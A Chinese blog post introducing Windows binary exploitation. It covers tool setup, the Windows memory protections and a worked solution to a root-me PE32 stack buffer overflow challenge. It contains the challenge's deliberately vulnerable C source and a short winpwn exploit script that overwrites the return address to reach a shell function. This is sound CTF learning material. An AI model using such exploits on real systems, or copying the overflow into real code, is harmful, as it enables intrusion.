前言

前几天因为看CS shellcode装了一个win10虚拟机,然后正好因为逆向课老师要装一系列工具。于是就想起来之前一直想看的windows pwn,就顺便装了一下相关工具并且入门了一下。

工具安装

winpwn

这个和pwntools差不多,不过可以让我们本地跑windows的程序(pwntools只可以本地跑linux的)。可以通过以下命令安装:

  • pip3 install winpwn
  • pip3 install pefile
  • pip3 install keystone-engine
  • pip3 install install capstone

安装完成之后可以通过from winpwn import *来检查一下,如果不报错那么即代表安装好了。

checksec

用来检查程序的保护机制是否开启。通过如下链接即可从github上下载到一个现成的。

https://github.com/Wenzel/checksec.py/releases/download/v0.6.2/checksec.exe

windbg

用来对程序进行调试。我推荐直接在Microsof store里下载windbg preview。(不过笔者由于操作不当,竟然把这玩意强行粉碎了,并且还没找到办法重新下载一个)于是笔者就随便找了一个windbg用了一下。

win_server

EX师傅写的,用来把程序映射到某个端口,方便我们的调试。项目地址如下:

https://github.com/Ex-Origin/win_server.git

保护机制

windows下的保护机制感觉比linux下多很多。

1、NX:(在windows下应该是DEP,可能是我这个checksec不标准)。表示堆栈不可执行。

2、Canary:(在windows下应该是GS,可能是我这个checksec不标准)。用来检测缓冲区溢出,与linux下的canary一样。

3、ASLR:地址随机化,使得exe,dll的地址不固定。

4、Dynamic Base:程序编译时可通过/DYNAMICBASE编译选项指示程序是否利用ASLR的功能。

5、High Entropy VA:我也不是很理解(也许是使得随机化程度更高?

6、SEH:结构化异常处理(Structured Exception Handling,简称 SEH)是一种Windows操作系统对错误或异常提供的处理技术。为Windows的程序设计者提供了程序错误或异常的处理途径,使得系统更加健壮。

7、SafeSEH:为了防止攻击者通过覆盖堆栈上的异常处理函数句柄,从而控制程序执行流程的攻击,在调用异常处理函数之前,对要调用的异常处理函数进行一系列的有效性校验,如果发现异常处理函数不可靠,立即终止异常处理函数的调用。

8、Force Integrity:强制签名保护。

9、Control Flow Guard:控制Flow防护 (CFG) 是一项高度优化的平台安全功能,旨在打击内存损坏漏洞。 通过严格限制应用程序可以从何处执行代码,利用漏洞(如缓冲区溢出)执行任意代码会更加困难。

10、Isolation:隔离保护,默认会开启。

11、Authenticode:签名保护。

例题

这里我们拿root-me PE32 - Stack buffer overflow basic来练手。

程序只开了DEP和SEH,并且程序的源代码已经给我们了,如下:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <ctype.h> #define DEFAULT_LEN 16 void admin_shell(void)
{
system("C:\\Windows\\system32\\cmd.exe");
} int main(void)
{
char buff[DEFAULT_LEN] = {0};
int i; gets(buff);
for (i = 0; i < DEFAULT_LEN; i++) {
buff[i] = toupper(buff[i]);
}
printf("%s\n", buff);
}

那么就是一个很明显的缓冲区溢出,并且还给了我们后门函数,直接用winpwnexp即可。

from winpwn import *

context.log_level='debug'
context.arch='i386' r = process('./ch72.exe') payload = 'a' * (0x14 + 4)
payload += p32(0x401000)
r.sendline(payload)
sleep(1)
r.sendline('calc') r.interactive()

调试方法

windows pwn的调试方法很多,这里我就介绍一种,借助Ex师傅的win server进行调试。

首先用win server把我们要调试的程序映射到某一端口上,如下:

接着用pwntools发包使得程序得以运行,此时我们就可以通过windbg attach 上去,愉快地调试了。

同时可以通过这个工具(https://learn.microsoft.com/zh-cn/sysinternals/downloads/vmmap)查看程序的内存分布

参考链接

https://www.z1r0.top/2022/11/23/win-pwn初探(一)/#安装winpwn

https://www.z1r0.top/2022/11/30/win-pwn初探(二)/#利用pwntools编写exp

https://xuanxuanblingbling.github.io/ctf/pwn/2020/07/09/winpwn/

windows pwn(一)的更多相关文章

  1. 我也来学着写写WINDOWS服务-解析xml抓取数据并插入数据库

    项目告一段落,快到一年时间开发了两个系统,一个客户已经在试用,一个进入客户测试阶段,中间突然被项目经理(更喜欢叫他W工)分派一个每隔两小时用windows服务去抓取客户提供的外网xml,解析该xml, ...

  2. Windows服务框架与服务的编写

    从NT内核开始,服务程序已经变为一种非常重要的系统进程,一般的驻守进程和普通的程序必须在桌面登录的情况下才能运行,而许多系统的基础程序必须在用户登录桌面之前就要运行起来,而利用服务,可以很方便的实现这 ...

  3. 我的pwn笔记

    0.64位程序参数一次保存在RDI,RSI,RDX,RCX,R8和 R9,具体见图 windows64位调用约定 1.<_libc_csu_init>有一些万能gadget,汇编如下 #! ...

  4. Pwn入坑指南

    栈溢出原理 参考我之前发的一篇 Windows栈溢出原理 还有 brant 师傅的<0day安全笔记> Pwn常用工具 gdb:Linux下程序调试 PEDA:针对gdb的python漏洞 ...

  5. Windows Shell远程执行代码漏洞((CVE-2018-8414)复现

    0x00   SettingContent-ms文件介绍 .SettingContent-ms是在Windows 10中引入的一种文件类型,它的内容是XML格式进行编写的,主要用于创建Windows设 ...

  6. PWN菜鸡入门之栈溢出 (2)—— ret2libc与动态链接库的关系

    准备知识引用自https://www.freebuf.com/articles/rookie/182894.html 0×01 利用思路 ret2libc 这种攻击方式主要是针对 动态链接(Dynam ...

  7. CTF必备技能丨Linux Pwn入门教程——PIE与bypass思路

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  8. pwn学习日记Day5 基础知识积累

    知识杂项 int mprotect(const void *start, size_t len, int prot); mprotect()函数把自start开始的.长度为len的内存区的保护属性修改 ...

  9. 【CTF】Pwn入门 XCTF 部分writeup

    碎碎念 咕咕咕了好久的Pwn,临时抱佛脚入门一下. 先安利之前看的一个 Reverse+Pwn 讲解视频 讲的还是很不错的,建议耐心看完 另外感觉Reverse和Pwn都好难!! 不,CTF好难!! ...

  10. PWN学习之栈溢出

    目录 PWN学习之栈溢出 前言 写bug bug.cpp源码 OD动态调试bug.exe OD调试观察溢出 栈溢出攻击之突破密码验证 x64位栈溢出 PWN学习之栈溢出 前言 我记得我在最开始学编程的 ...

随机推荐

  1. Python异步爬虫(aiohttp版)

    异步协程不太了解的话可以去看我上篇博客:https://www.cnblogs.com/Red-Sun/p/16934843.html PS:本博客是个人笔记分享,不需要扫码加群或必须关注什么的(如果 ...

  2. 帮你短时间拿下Git,Git详细教程(浓缩的都是精华)

    Git学习笔记 Git是一个开源的分布式版本控制系统,可以有效.高速地处理从很小到非常大的项目版本管理. 在团队开发中git是必不可少的,它是目前为止最流行的版本控制工具 Git是免费.开源的,由Li ...

  3. 如何使用 IdGen 生成 UID

    在分布式系统中,雪花 ID 是一种常用的唯一 ID 生成算法.它通过结合时间戳.机器码和自增序列来生成 64 位整数 ID,可以保证 ID 的唯一性和顺序性. 在.Net 项目中,我们可以使用 IdG ...

  4. vue 项目引入 echarts折线图

    一.components文件下新建 lineCharts.vue <template> <div :class="className" :style=" ...

  5. P1024 [NOI2001] 食物链【种类并查集】

    题意 P1024 简化题意:给定 \(n\) 和 \(k(n\leqslant5\times10^4,k\leqslant10^5)\) ,表示有 \(n\) 个动物, \(k\) 个描述,其中: \ ...

  6. [cocos2d-x]关于定时器

    什么是定时器 定时器的作用就是每隔一段时间,就执行一段自定义的动作,比如飞机向前方移动,子弹的移动等等.该函数定义在CCNode头文件中,基本上cocos2dx中所有的东西都能够使用定时器. 定时器的 ...

  7. TCP\ip 地址总结

    127.0.0.1 本地回环地址,一般用于测试网卡是否正常工作 192.168.1.0 代表网络地址一个网络段 192.168.1.1-254 可用网络地址 192.168.1.255 广播地址!  

  8. Angularjs——初识AngularJS

    AngularJS--初识AngularJS AngularJS是什么 AngularJS是Google开源的一款前端JS结构化框架,它通过对前端开发进行分层,极好地规范了前端开发的风格--它将前端开 ...

  9. FalseSharing-伪共享

    1.CPU缓存 要了解什么是伪共享,首先得了解CPU缓存架构与缓存行的知识 (1)<CPU缓存架构> 主内存RAM是数据存在的地方,CPU和主内存之间有好几级缓存,因为即使直接访问主内存相 ...

  10. chrome实现下载文件JS代码弹出'另存为'窗口

    1.TXT类型文件 <!DOCTYPE html> <html lang="en"> <head> <meta charset=" ...